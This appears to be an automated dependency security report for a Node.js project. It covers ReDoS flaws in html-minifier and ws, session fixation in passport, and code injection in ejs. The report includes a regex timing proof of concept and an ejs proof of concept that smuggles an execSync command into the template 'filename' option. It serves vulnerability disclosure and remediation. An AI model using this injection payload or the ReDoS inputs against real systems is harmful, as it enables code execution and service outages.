Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for html-minifier.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ws
  • Introduced through: pm2@4.5.6

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 pm2@4.5.6 @pm2/agent@1.0.8 ws@7.2.5
    Remediation: Upgrade to pm2@5.0.0.

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

##PoC

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.

References

medium severity

Session Fixation

  • Vulnerable module: passport
  • Introduced through: passport@0.4.1

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 passport@0.4.1
    Remediation: Upgrade to passport@0.6.0.

Overview

passport is a Simple, unobtrusive authentication for Node.js.

Affected versions of this package are vulnerable to Session Fixation. When a user logs in or logs out, the session is regenerated instead of being closed.

Remediation

Upgrade passport to version 0.6.0 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: ejs
  • Introduced through: ejs-compiled-loader@3.1.0

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 ejs-compiled-loader@3.1.0 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})

Remediation

Upgrade ejs to version 3.1.6 or higher.

References